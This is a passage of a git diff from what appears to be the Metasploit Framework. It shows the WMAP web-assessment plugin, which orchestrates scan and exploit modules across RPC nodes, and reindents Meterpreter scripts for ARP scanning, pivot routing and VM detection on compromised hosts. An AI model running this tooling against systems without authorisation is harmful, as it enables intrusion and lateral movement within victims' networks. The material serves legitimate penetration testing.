sites.each do |site| + # Initial defaul path + inipath = target.path + if target.path.empty? + inipath = '/' + end + + #site.web_forms.find_all_by_path(target.path).each do |form| + ckey = [ site.vhost, host.address, serv.port, inipath].join("|") + + if not self.targets[ckey] + self.targets[ckey] = WebTarget.new + self.targets[ckey].merge!({ + :vhost => site.vhost, + :host => host.address, + :port => serv.port, + :ssl => (serv.name == "https"), + :path => inipath + }) + #self.targets[ckey][inipath] = [] + else + print_status("Target already set in targets list.") + end + + # Store the form object in the hash for this path + #self.targets[ckey][inipath] << inipath + #end + end + end + end + + # Code by hdm. Modified two lines by et + # lastsites contains a temporary array with vhost,url strings so the id can be + # referenced in the array and prevent new sites added in the db to corrupt previous id list. + def process_ids(idsstr) + + if !self.lastsites or self.lastsites.length == 0 + view_sites + print_status ("Web sites ids. referenced from previous table.") + end + + target_whitelist = [] + ids = idsstr.to_s.split(/,/) + + ids.each do |id| + next if id.to_s.strip.empty? + + if id.to_i > self.lastsites.length + print_error("Skipping id #{id}...") + else + target_whitelist << self.lastsites[id.to_i] + print_status("Loading #{self.lastsites[id.to_i]}.") + end + end + + # Skip the DB entirely if no matches + return if target_whitelist.length == 0 + + if not self.targets + self.targets = Hash.new() + end + + target_whitelist.each do |ent| + process_urls(ent) + end + end + + def view_site_tree(urlstr, md, ld) + if not urlstr + return + end + + site_whitelist = [] + + urls = urlstr.to_s.split(/\s+/) + + urls.each do |url| + next if url.to_s.strip.empty? + vhost = nil + + # Allow the URL to be supplied as VHOST,URL if a custom VHOST + # should be used. This allows for things like: + # localhost,http://192.168.0.2/admin/ + + if url !~ /^http/ + vhost,url = url.split(",", 2) + + if url.to_s.empty? + url = vhost + vhost = nil + end + end + + # Prefix http:// when the URL has no specified parameter + if url !~ /^[a-z0-9A-Z]+:\/\// + url = "http://" + url + end + + uri = URI.parse(url) rescue nil + if not uri + print_error("Could not understand URL: #{url}") + next + end + + if uri.scheme !~ /^https?/ + print_error("Only http and https URLs are accepted: #{url}") + next + end + + site_whitelist << [vhost || uri.host, uri] + end + + # Skip the DB entirely if no matches + return if site_whitelist.length == 0 + + vsites = Hash.new() + + site_whitelist.each do |ent| + vhost,target = ent + + host = self.framework.db.workspace.hosts.find_by_address(target.host) + if not host + print_error("No matching host for #{target.host}") + next + end + serv = host.services.find_by_port_and_proto(target.port, 'tcp') + if not serv + print_error("No matching service for #{target.host}:#{target.port}") + next + end + + sites = serv.web_sites.where('vhost = ? and service_id = ?', vhost, serv.id) + + sites.each do |site| + t = load_tree(site) + print_tree(t,target.host,md,ld) + print_line("\n") + end + end + end + + # + # Load website structure into a tree + # + + def load_tree(s) + + pathchr = '/' + + wtree = Tree.new(s.vhost) + + # Load site pages + s.web_pages.find(:all, :order => 'path').each do |req| + tarray = req.path.to_s.split(pathchr) + tarray.delete("") + tpath = Pathname.new(pathchr) + tarray.each do |df| + wtree.add_at_path(tpath.to_s,df) + tpath = tpath + Pathname.new(df.to_s) + end + end + + # Load site forms + s.web_forms.each do |req| + tarray = req.path.to_s.split(pathchr) + tarray.delete("") + tpath = Pathname.new(pathchr) + tarray.each do |df| + wtree.add_at_path(tpath.to_s,df) + tpath = tpath + Pathname.new(df.to_s) + end + end + + return wtree + end + + # + # Print Tree structure. Still ugly + # + + def print_tree(tree, ip, maxlevel, limitlevel) + initab = " " * 4 + indent = 6 + if tree != nil and tree.depth <= maxlevel + print initab + (" " * indent * tree.depth) + if tree.depth > 0 + print "|"+("-" * (indent-1))+"/" + end + if tree.depth >= 0 + if tree.depth == 0 + print "[#{tree.name}] (#{ip})\n"+initab+(" " * indent)+"\n" + + else + c = tree.children.count + if c > 0 + print tree.name + " (" + c.to_s+")\n" + else + print tree.name + "\n" + end + end + end + + tree.children.each_pair do |name,child| + print_tree(child,ip,maxlevel,limitlevel) + end + + end + end + + def signature(fpath,fquery) + hsig = Hash.new() + + hsig = queryparse(fquery) + + # + # Signature of the form ',p1,p2,pn' then to be appended to path: path,p1,p2,pn + # + + sigstr = fpath + "," + hsig.map{|p| p[0].to_s}.join(",") + end + + def queryparse(query) + params = Hash.new() + + query.split(/[&;]/n).each do |pairs| + key, value = pairs.split('=',2) + if params.has_key?(key) + #Error + else + params[key] = value + end + end + params + end + + def rpc_add_node(host,port,ssl,user,pass,bypass_exist) + + if not self.rpcarr + self.rpcarr = Hash.new() + end + + begin + istr = "#{host}|#{port}|#{ssl}|#{user}|#{pass}" + if self.rpcarr.has_key?(istr) and not bypass_exist and self.rpcarr[istr] != nil + print_error("Connection already exists #{istr}") + else + begin + temprpc = ::Msf::RPC::Client.new( + :host => host, + :port => port, + :ssl => ssl + ) + rescue + print_error "Unable to connect" + #raise ConnectionError + return + end + + res = temprpc.login( user , pass) + + if not res + print_error("Unable to authenticate to #{host}:#{port}.") + return + else + res = temprpc.call('core.version') + end + + print_status("Connected to #{host}:#{port} [#{res['version']}].") + self.rpcarr[istr] = temprpc + end + rescue + print_error("Unable to connect") + end + end + + def local_module_exec(mod,mtype, opts, nmaxjobs) + jobify = false + + modinst = framework.modules.create(mod) + + if(not modinst) + print_error("Unknown module") + return + end + + sess = nil + + case mtype + when 'auxiliary' + Msf::Simple::Auxiliary.run_simple(modinst, { + 'Action' => opts['ACTION'], + 'LocalOutput' => driver.output, + 'RunAsJob' => jobify, + 'Options' => opts + }) + when 'exploit' + if not opts['PAYLOAD'] + opts['PAYLOAD'] = WmapCommandDispatcher::Exploit.choose_payload(modinst, opts['TARGET']) + end + + sess = Msf::Simple::Exploit.exploit_simple(modinst, { + 'Payload' => opts['PAYLOAD'], + 'Target' => opts['TARGET'], + 'LocalOutput' => driver.output, + 'RunAsJob' => jobify, + 'Options' => opts + }) + else + print_error("Wrong mtype.") + end + + if sess + if (jobify == false and sess.interactive?) + print_line + driver.run_single("sessions -q -i #{sess.sid}") + else + print_status("Session #{sess.sid} created in the background.") + end + end + end + + def rpc_round_exec(mod,mtype, opts, nmaxjobs) + + res = nil + idx = 0 + + if active_rpc_nodes == 0 + if not self.runlocal + print_error("All active nodes not working or removed") + return + end + res = true + else + rpc_reconnect_nodes() + end + + if self.masstop + return + end + + while not res + if active_rpc_nodes == 0 + print_error("All active nodes not working or removed") + return + end + + #find the node with less jobs load. + minjobs = nmaxjobs + minconn = nil + nid = 0 + self.rpcarr.each do |k,rpccon| + if not rpccon + print_error("Skipping inactive node #{nid} #{k}") + else + begin + currentjobs = rpccon.call('job.list').length + + if currentjobs < minjobs + minconn = rpccon + minjobs = currentjobs + end + + if currentjobs == nmaxjobs + if self.nmaxdisplay == false + print_error("Node #{nid} reached max number of jobs #{nmaxjobs}") + print_error("Waiting for available node/slot...") + self.nmaxdisplay = true + end + end + #print_status("Node #{nid} #currentjobs #{currentjobs} #min #{minjobs}") + rescue + print_error("Unable to connect. Node #{tarr[0]}:#{tarr[1]}") + self.rpcarr[k]=nil + + if active_rpc_nodes == 0 + print_error("All active nodes ,not working or removed") + return + else + print_error("Sending job to next node") + next + end + end + end + nid += 1 + end + + if minjobs < nmaxjobs + res=minconn.call('module.execute', mtype, mod, opts) + self.nmaxdisplay = false + #print_status(">>>#{res} #{mod}") + + if res + if res.has_key?("job_id") + return + else + print_error("Unable to execute module in node #{k} #{res}") + end + end + else + #print_status("Max number of jobs #{nmaxjobs} reached in node #{k}") + end + + idx += 1 + end + + if self.runlocal and not self.masstop + local_module_exec(mod,mtype, opts, nmaxjobs) + end + end + + def rpc_db_nodes(host,port,user,pass,name) + rpc_reconnect_nodes() + + if active_rpc_nodes == 0 + print_error("No active nodes at this time") + return + end + + self.rpcarr.each do |k,v| + if v + res = v.call('db.driver',{:driver => 'postgresql'}) + res = v.call('db.connect',{:database => name, :host => host, :port => port, :username => user, :password => pass}) + res = v.call('db.status') + + if res['db'] == name + print_status("db_connect #{res} #{host}:#{port} OK") + else + print_error("Error db_connect #{res} #{host}:#{port}") + end + else + print_error("No connection to node #{k}") + end + end + end + + def rpc_reconnect_nodes() + begin + # Sucky 5 mins token timeout. + + idx = nil + self.rpcarr.each do |k,rpccon| + if rpccon + idx = k + begin + currentjobs = rpccon.call('job.list').length + rescue + tarr = k.split("|") + rflag = false + + res = rpccon.login(tarr[3],tarr[4]) + + if res + rflag = true + print_error("Reauth to node #{tarr[0]}:#{tarr[1]}") + break + else + raise ConnectionError + end + end + end + end + rescue + print_error("ERROR CONNECTING TO NODE. Disabling #{idx} use wmap_nodes -a to reconnect") + self.rpcarr[idx] = nil + if active_rpc_nodes == 0 + print_error("No active nodes") + self.masstop = true + else + #blah + end + end + end + + def rpc_kill_node(i,j) + + if not i + print_error("Nodes not defined") + return + end + + if not j + print_error("Node jobs defined") + return + end + + rpc_reconnect_nodes() + + if active_rpc_nodes == 0 + print_error("No active nodes at this time") + return + end + + idx=0 + self.rpcarr.each do |k,rpccon| + if idx == i.to_i or i.upcase == 'ALL' + #begin + if not rpccon + print_error("No connection to node #{idx}") + else + n = rpccon.call('job.list') + n.each do |id,name| + if j==id.to_s or j.upcase == 'ALL' + rpccon.call('job.stop',id) + print_status("Node #{idx} Killed job id #{id} #{name}") + end + end + end + #rescue + # print_error("No connection") + #end + end + idx += 1 + end + end + + def rpc_view_jobs() + indent = ' ' + + rpc_reconnect_nodes() + + if active_rpc_nodes == 0 + print_error("No active nodes at this time") + return + end + + idx=0 + self.rpcarr.each do |k,rpccon| + if not rpccon + print_status("[Node ##{idx}: #{k} DISABLED/NO CONNECTION]") + else + + arrk = k.split('|') + print_status("[Node ##{idx}: #{arrk[0]} Port:#{arrk[1]} SSL:#{arrk[2]} User:#{arrk[3]}]") + + begin + n = rpccon.call('job.list') + + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => 'Jobs', + 'Columns' => + [ + 'Id', + 'Job name', + 'Target', + 'PATH', + ]) + + n.each do |id,name| + jinfo = rpccon.call('job.info',id) + dstore = jinfo['datastore'] + tbl << [ id.to_s, name,dstore['VHOST']+":"+dstore['RPORT'],dstore['PATH']] + end + + print_status tbl.to_s + "\n" + + rescue + print_status("[Node ##{idx} #{k} DISABLED/NO CONNECTION]") + end + end + idx += 1 + end + end + + + # Modified from http://stackoverflow.com/questions/946738/detect-key-press-non-blocking-w-o-getc-gets-in-ruby + def quit? + begin + while c = driver.input.read_nonblock(1) + print_status("Quited") + return true if c == 'Q' + end + false + rescue Errno::EINTR + false + rescue Errno::EAGAIN + false + rescue EOFError + true + end + end + + def rpc_mon_nodes() + # Pretty monitor + + color = self.opts["ConsoleDriver"].output.supports_color? rescue false + + colors = [ + '%grn', + '%blu', + '%yel', + '%whi' + ] + + #begin + loop do + rpc_reconnect_nodes() + + idx = 0 + self.rpcarr.each do |k,rpccon| + + arrk = k.split('|') + + v = "NOCONN" + n = 1 + c = '%red' + + if not rpccon + v = "NOCONN" + n = 1 + c = '%red' + else + begin + v = "" + c = '%blu' + rescue + v = "ERROR" + c = '%red' + end + + begin + n = rpccon.call('job.list').length + c = '%blu' + rescue + n = 1 + v = "NOCONN" + c = '%red' + end + end + + #begin + if not @stdio + @stdio = Rex::Ui::Text::Output::Stdio.new + end + + if color == true + @stdio.auto_color + else + @stdio.disable_color + end + msg = "[#{idx}] #{"%bld#{c}||%clr"*n} #{n} #{v}\n" + @stdio.print_raw(@stdio.substitute_colors(msg)) + + #rescue + #blah + #end + sleep(2) + idx += 1 + end + end + #rescue + # print_status("End.") + #end + end + + def rpc_list_nodes() + indent = ' ' + + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => 'Nodes', + 'Columns' => + [ + 'Id', + 'Host', + 'Port', + 'SSL', + 'User', + 'Pass', + 'Status', + '#jobs', + ]) + + idx=0 + + rpc_reconnect_nodes() + + self.rpcarr.each do |k,rpccon| + + arrk = k.split('|') + + if not rpccon + v = "NOCONN" + n = "" + else + begin + v = rpccon.call('core.version')['version'] + rescue + v = "ERROR" + end + + begin + n = rpccon.call('job.list').length + rescue + n = "" + end + end + + tbl << [ idx.to_s, arrk[0], arrk[1], arrk[2], arrk[3], arrk[4], v, n] + idx += 1 + end + + print_status tbl.to_s + "\n" + end + + def active_rpc_nodes + if self.rpcarr.length == 0 + return 0 + else + idx = 0 + self.rpcarr.each do |k,conn| + if conn + idx += 1 + end + end + return idx + end + end + + def view_modules + indent = ' ' + + wmaptype = [:wmap_ssl, + :wmap_server, + :wmap_dir, + :wmap_file, + :wmap_unique_query, + :wmap_query, + :wmap_generic + ] + + if not self.wmapmodules + load_wmap_modules(true) + end + + wmaptype.each do |modt| + + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => modt.to_s, + 'Columns' => + [ + 'Name', + 'OrderID', + ]) + + idx = 0 + self.wmapmodules.each do |w| + oid = w[3] + if w[3] == 0xFFFFFF + oid = ":last" + end + + if w[2] == modt + tbl << [w[0],oid] + idx += 1 + end + end + + print_status tbl.to_s + "\n" + end + end + + # Yes sorting hashes dont make sense but actually it does when you are enumerating one. And + # sort_by of a hash returns an array so this is the reason for this ugly piece of code + def sort_by_orderid(m) + temphash=Hash.new() + temparr=[] + + temparr = m.sort_by do |xref,v| + xref[3] + end + + temparr.each do |b| + temphash[b[0]] = b[1] + end + temphash + end + + # Load all wmap modules + def load_wmap_modules(reload) + if reload or not self.wmapmodules + print_status("Loading wmap modules...") + + self.wmapmodules=[] + + idx = 0 + [ [ framework.auxiliary, 'auxiliary' ], [framework.exploits, 'exploit' ] ].each do |mtype| + # Scan all exploit modules for matching references + mtype[0].each_module do |n,m| + e = m.new + + # Only include wmap_enabled plugins + if e.respond_to?("wmap_enabled") + penabled = e.wmap_enabled + + if penabled + self.wmapmodules << [mtype[1]+'/'+n,mtype[1],e.wmap_type,e.orderid] + idx += 1 + end + end + end + end + print_status("#{idx} wmap enabled modules loaded.") + end + end + + def view_vulns + framework.db.hosts.each do |host| + host.services.each do |serv| + serv.web_sites.each do |site| + site.web_vulns.each do |wv| + print_status("+ [#{host.address}] (#{site.vhost}): #{wv.category} #{wv.path}") + print_status("\t#{wv.name} #{wv.description}") + print_status("\t#{wv.method} #{wv.proof}") + end + end + end + end + end + end + + class WebTarget < ::Hash + def to_url + proto = self[:ssl] ? "https" : "http" + "#{proto}://#{self[:host]}:#{self[:port]}#{self[:path]}" + end + end + + + def initialize(framework, opts) + super + + color = self.opts["ConsoleDriver"].output.supports_color? rescue false + + wmapversion = '1.5.1' + + wmapbanner = "%red\n.-.-.-..-.-.-..---..---.%clr\n" + wmapbanner += "%red| | | || | | || | || |-'%clr\n" + wmapbanner += "%red`-----'`-'-'-'`-^-'`-'%clr\n" + wmapbanner += "[WMAP #{wmapversion}] === et [ ] metasploit.com 2012\n" + + if not @stdio + @stdio = Rex::Ui::Text::Output::Stdio.new + end + + if color == true + @stdio.auto_color + else + @stdio.disable_color + end + + @stdio.print_raw(@stdio.substitute_colors(wmapbanner)) + + add_console_dispatcher(WmapCommandDispatcher) + #print_status("#{wmapbanner}") + end + + def cleanup + remove_console_dispatcher('wmap') + end + + def name + "wmap" + end + + def desc + "Web assessment plugin" + end protected end diff --git a/scripts/meterpreter/arp_scanner.rb b/scripts/meterpreter/arp_scanner.rb index 4abe944c82..c71d201ce3 100644 --- a/scripts/meterpreter/arp_scanner.rb +++ b/scripts/meterpreter/arp_scanner.rb @@ -3,111 +3,111 @@ ################## Variable Declarations ################## @client = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-i" => [ false, "Enumerate Local Interfaces"], - "-r" => [ true, "The target address range or CIDR identifier"], - "-s" => [ false, "Save found IP Addresses to logs."] + "-h" => [ false, "Help menu." ], + "-i" => [ false, "Enumerate Local Interfaces"], + "-r" => [ true, "The target address range or CIDR identifier"], + "-s" => [ false, "Save found IP Addresses to logs."] ) def enum_int - print_status("Enumerating Interfaces") - client.net.config.interfaces.each do |i| - if not i.mac_name =~ /Loopback/ - print_status("\t#{i.mac_name}") - print_status("\t#{i.ip}") - print_status("\t#{i.netmask}") - print_status() - end + print_status("Enumerating Interfaces") + client.net.config.interfaces.each do |i| + if not i.mac_name =~ /Loopback/ + print_status("\t#{i.mac_name}") + print_status("\t#{i.ip}") + print_status("\t#{i.netmask}") + print_status() + end - end + end end def arp_scan(cidr) - print_status("ARP Scanning #{cidr}") - ws = client.railgun.ws2_32 - iphlp = client.railgun.iphlpapi - i, a = 0, [] - iplst,found = [],"" - ipadd = Rex::Socket::RangeWalker.new(cidr) - numip = ipadd.num_ips - while (iplst.length < numip) - ipa = ipadd.next_ip - if (not ipa) - break - end - iplst << ipa - end - iplst.each do |ip_text| - if i < 10 - a.push(::Thread.new { - h = ws.inet_addr(ip_text) - ip = h["return"] - h = iphlp.SendARP(ip,0,6,6) - if h["return"] == client.railgun.const("NO_ERROR") - mac_text = h["pMacAddr"].unpack('C*').map { |e| "%02x" % e }.join(':') - print_status("IP: #{ip_text} MAC #{mac_text}") - found << "#{ip_text}\n" - end - }) - i += 1 - else - sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? - i = 0 - end - end - a.delete_if {|x| not x.alive?} while not a.empty? - return found + print_status("ARP Scanning #{cidr}") + ws = client.railgun.ws2_32 + iphlp = client.railgun.iphlpapi + i, a = 0, [] + iplst,found = [],"" + ipadd = Rex::Socket::RangeWalker.new(cidr) + numip = ipadd.num_ips + while (iplst.length < numip) + ipa = ipadd.next_ip + if (not ipa) + break + end + iplst << ipa + end + iplst.each do |ip_text| + if i < 10 + a.push(::Thread.new { + h = ws.inet_addr(ip_text) + ip = h["return"] + h = iphlp.SendARP(ip,0,6,6) + if h["return"] == client.railgun.const("NO_ERROR") + mac_text = h["pMacAddr"].unpack('C*').map { |e| "%02x" % e }.join(':') + print_status("IP: #{ip_text} MAC #{mac_text}") + found << "#{ip_text}\n" + end + }) + i += 1 + else + sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? + i = 0 + end + end + a.delete_if {|x| not x.alive?} while not a.empty? + return found end def save_found(found_ip) - info = @client.sys.config.sysinfo - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + info = @client.sys.config.sysinfo + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - logs = ::File.join(Msf::Config.log_directory,'scripts', 'arp_scanner',Rex::FileUtils.clean_path(info['Computer'] + filenameinfo)) - # Create the log directory - ::FileUtils.mkdir_p(logs) + # Create a directory for the logs + logs = ::File.join(Msf::Config.log_directory,'scripts', 'arp_scanner',Rex::FileUtils.clean_path(info['Computer'] + filenameinfo)) + # Create the log directory + ::FileUtils.mkdir_p(logs) - #log file name - dest = Rex::FileUtils.clean_path(logs + "/" + info['Computer'] + filenameinfo + ".txt") + #log file name + dest = Rex::FileUtils.clean_path(logs + "/" + info['Computer'] + filenameinfo + ".txt") - print_status("Saving found IP's to #{dest}") - file_local_write(dest,found_ip) + print_status("Saving found IP's to #{dest}") + file_local_write(dest,found_ip) end save2log = false cidr2scan = "" @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for performing an ARPS Scan Discovery." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - when "-i" - enum_int - raise Rex::Script::Completed - when "-r" - cidr2scan = val - when "-s" - save2log = true - end + case opt + when "-h" + print_line "Meterpreter Script for performing an ARPS Scan Discovery." + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + when "-i" + enum_int + raise Rex::Script::Completed + when "-r" + cidr2scan = val + when "-s" + save2log = true + end } if client.platform =~ /win32|win64/ - if args.length > 0 - if save2log - save_found(arp_scan(cidr2scan)) - else - arp_scan(cidr2scan) - end - else - print_line "Meterpreter Script for performing an ARPS Scan Discovery." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end + if args.length > 0 + if save2log + save_found(arp_scan(cidr2scan)) + else + arp_scan(cidr2scan) + end + else + print_line "Meterpreter Script for performing an ARPS Scan Discovery." + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/autoroute.rb b/scripts/meterpreter/autoroute.rb index 88602113e9..2561dee91a 100644 --- a/scripts/meterpreter/autoroute.rb +++ b/scripts/meterpreter/autoroute.rb @@ -13,190 +13,190 @@ remove_all_routes = false # Options parsing @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [false, "Help and usage"], - "-s" => [true, "Subnet (IPv4, for example, 10.10.10.0)"], - "-n" => [true, "Netmask (IPv4, for example, 255.255.255.0"], - "-p" => [false, "Print active routing table. All other options are ignored"], - "-d" => [false, "Delete the named route instead of adding it"], - "-D" => [false, "Delete all routes (does not require a subnet)"] + "-h" => [false, "Help and usage"], + "-s" => [true, "Subnet (IPv4, for example, 10.10.10.0)"], + "-n" => [true, "Netmask (IPv4, for example, 255.255.255.0"], + "-p" => [false, "Print active routing table. All other options are ignored"], + "-d" => [false, "Delete the named route instead of adding it"], + "-D" => [false, "Delete all routes (does not require a subnet)"] ) @@exec_opts.parse(args) { |opt, idx, val| - v = val.to_s.strip - case opt - when "-h" - usage - raise Rex::Script::Completed - when "-s" - if v =~ /[0-9\x2e]+\x2f[0-9]{1,2}/ - subnet,cidr = v.split("\x2f") - netmask = Rex::Socket.addr_ctoa(cidr.to_i) - else - subnet = v - end - when "-n" - if (0..32) === v.to_i - netmask = Rex::Socket.addr_ctoa(v.to_i) - else - netmask = v - end - when "-p" - print_only = true - when "-d" - remove_route = true - when "-D" - remove_all_routes = true - end + v = val.to_s.strip + case opt + when "-h" + usage + raise Rex::Script::Completed + when "-s" + if v =~ /[0-9\x2e]+\x2f[0-9]{1,2}/ + subnet,cidr = v.split("\x2f") + netmask = Rex::Socket.addr_ctoa(cidr.to_i) + else + subnet = v + end + when "-n" + if (0..32) === v.to_i + netmask = Rex::Socket.addr_ctoa(v.to_i) + else + netmask = v + end + when "-p" + print_only = true + when "-d" + remove_route = true + when "-D" + remove_all_routes = true + end } def delete_all_routes - if Rex::Socket::SwitchBoard.routes.size > 0 - routes = [] - Rex::Socket::SwitchBoard.each do |route| - routes << {:subnet => route.subnet, :netmask => route.netmask} - end - routes.each {|route_opts| delete_route(route_opts)} + if Rex::Socket::SwitchBoard.routes.size > 0 + routes = [] + Rex::Socket::SwitchBoard.each do |route| + routes << {:subnet => route.subnet, :netmask => route.netmask} + end + routes.each {|route_opts| delete_route(route_opts)} - print_status "Deleted all routes" - else - print_status "No routes have been added yet" - end - raise Rex::Script::Completed + print_status "Deleted all routes" + else + print_status "No routes have been added yet" + end + raise Rex::Script::Completed end # Identical functionality to command_dispatcher/core.rb, and # nearly identical code def print_routes - if Rex::Socket::SwitchBoard.routes.size > 0 - tbl = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Active Routing Table", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Columns' => - [ - 'Subnet', - 'Netmask', - 'Gateway', - ], - 'ColProps' => - { - 'Subnet' => { 'MaxWidth' => 17 }, - 'Netmask' => { 'MaxWidth' => 17 }, - }) - ret = [] + if Rex::Socket::SwitchBoard.routes.size > 0 + tbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "Active Routing Table", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Columns' => + [ + 'Subnet', + 'Netmask', + 'Gateway', + ], + 'ColProps' => + { + 'Subnet' => { 'MaxWidth' => 17 }, + 'Netmask' => { 'MaxWidth' => 17 }, + }) + ret = [] - Rex::Socket::SwitchBoard.each { |route| - if (route.comm.kind_of?(Msf::Session)) - gw = "Session #{route.comm.sid}" - else - gw = route.comm.name.split(/::/)[-1] - end - tbl << [ route.subnet, route.netmask, gw ] - } - print tbl.to_s - else - print_status "No routes have been added yet" - end - raise Rex::Script::Completed + Rex::Socket::SwitchBoard.each { |route| + if (route.comm.kind_of?(Msf::Session)) + gw = "Session #{route.comm.sid}" + else + gw = route.comm.name.split(/::/)[-1] + end + tbl << [ route.subnet, route.netmask, gw ] + } + print tbl.to_s + else + print_status "No routes have been added yet" + end + raise Rex::Script::Completed end # Yet another IP validator. I'm sure there's some Rex # function that can just do this. def check_ip(ip=nil) - return false if(ip.nil? || ip.strip.empty?) - begin - rw = Rex::Socket::RangeWalker.new(ip.strip) - (rw.valid? && rw.length == 1) ? true : false - rescue - false - end + return false if(ip.nil? || ip.strip.empty?) + begin + rw = Rex::Socket::RangeWalker.new(ip.strip) + (rw.valid? && rw.length == 1) ? true : false + rescue + false + end end # Adds a route to the framework instance def add_route(opts={}) - subnet = opts[:subnet] - netmask = opts[:netmask] || "255.255.255.0" # Default class C - Rex::Socket::SwitchBoard.add_route(subnet, netmask, session) + subnet = opts[:subnet] + netmask = opts[:netmask] || "255.255.255.0" # Default class C + Rex::Socket::SwitchBoard.add_route(subnet, netmask, session) end # Removes a route to the framework instance def delete_route(opts={}) - subnet = opts[:subnet] - netmask = opts[:netmask] || "255.255.255.0" # Default class C - Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session) + subnet = opts[:subnet] + netmask = opts[:netmask] || "255.255.255.0" # Default class C + Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session) end # Defines usage def usage() - print_status "Usage: run autoroute [-r] -s subnet -n netmask" - print_status "Examples:" - print_status " run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0" - print_status " run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0" - print_status " run autoroute -s 10.10.10.1/24 # CIDR notation is also okay" - print_status " run autoroute -p # Print active routing table" - print_status " run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route" - print_status "Use the \"route\" and \"ipconfig\" Meterpreter commands to learn about available routes" - print_error "Deprecation warning: This script has been replaced by the post/windows/manage/autoroute module" + print_status "Usage: run autoroute [-r] -s subnet -n netmask" + print_status "Examples:" + print_status " run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0" + print_status " run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0" + print_status " run autoroute -s 10.10.10.1/24 # CIDR notation is also okay" + print_status " run autoroute -p # Print active routing table" + print_status " run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route" + print_status "Use the \"route\" and \"ipconfig\" Meterpreter commands to learn about available routes" + print_error "Deprecation warning: This script has been replaced by the post/windows/manage/autoroute module" end # Validates the command options def validate_cmd(subnet=nil,netmask=nil) - if subnet.nil? - print_error "Missing -s (subnet) option" - return false - end + if subnet.nil? + print_error "Missing -s (subnet) option" + return false + end - unless(check_ip(subnet)) - print_error "Subnet invalid (must be IPv4)" - usage - return false - end + unless(check_ip(subnet)) + print_error "Subnet invalid (must be IPv4)" + usage + return false + end - if(netmask and !(Rex::Socket.addr_atoc(netmask))) - print_error "Netmask invalid (must define contiguous IP addressing)" - usage - return false - end + if(netmask and !(Rex::Socket.addr_atoc(netmask))) + print_error "Netmask invalid (must define contiguous IP addressing)" + usage + return false + end - if(netmask and !check_ip(netmask)) - print_error "Netmask invalid" - return usage - end - true + if(netmask and !check_ip(netmask)) + print_error "Netmask invalid" + return usage + end + true end if print_only - print_routes() - raise Rex::Script::Completed + print_routes() + raise Rex::Script::Completed end if remove_all_routes - delete_all_routes() - raise Rex::Script::Completed + delete_all_routes() + raise Rex::Script::Completed end raise Rex::Script::Completed unless validate_cmd(subnet,netmask) if remove_route - print_status("Deleting route to %s/%s..." % [subnet,netmask]) - route_result = delete_route(:subnet => subnet, :netmask => netmask) + print_status("Deleting route to %s/%s..." % [subnet,netmask]) + route_result = delete_route(:subnet => subnet, :netmask => netmask) else - print_status("Adding a route to %s/%s..." % [subnet,netmask]) - route_result = add_route(:subnet => subnet, :netmask => netmask) + print_status("Adding a route to %s/%s..." % [subnet,netmask]) + route_result = add_route(:subnet => subnet, :netmask => netmask) end if route_result - print_good "%s route to %s/%s via %s" % [ - (remove_route ? "Deleted" : "Added"), - subnet,netmask,client.sock.peerhost - ] + print_good "%s route to %s/%s via %s" % [ + (remove_route ? "Deleted" : "Added"), + subnet,netmask,client.sock.peerhost + ] else - print_error "Could not %s route" % [(remove_route ? "delete" : "add")] + print_error "Could not %s route" % [(remove_route ? "delete" : "add")] end if Rex::Socket::SwitchBoard.routes.size > 0 - print_status "Use the -p option to list all active routes" + print_status "Use the -p option to list all active routes" end diff --git a/scripts/meterpreter/checkvm.rb b/scripts/meterpreter/checkvm.rb index d968f9a184..5c824f1366 100644 --- a/scripts/meterpreter/checkvm.rb +++ b/scripts/meterpreter/checkvm.rb @@ -4,349 +4,349 @@ session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("CheckVM -- Check various attributes on the target for evidence that it is a virtual machine") - print_line("USAGE: run checkvm") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line("CheckVM -- Check various attributes on the target for evidence that it is a virtual machine") + print_line("USAGE: run checkvm") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + end } # Function for detecting if it is a Hyper-V VM def hypervchk(session) - begin - vm = false - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft', KEY_READ) - sfmsvals = key.enum_key - if sfmsvals.include?("Hyper-V") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif sfmsvals.include?("VirtualMachine") - print_status("This is a Hyper-V Virtual Machine") - vm = true - end - key.close - rescue - end 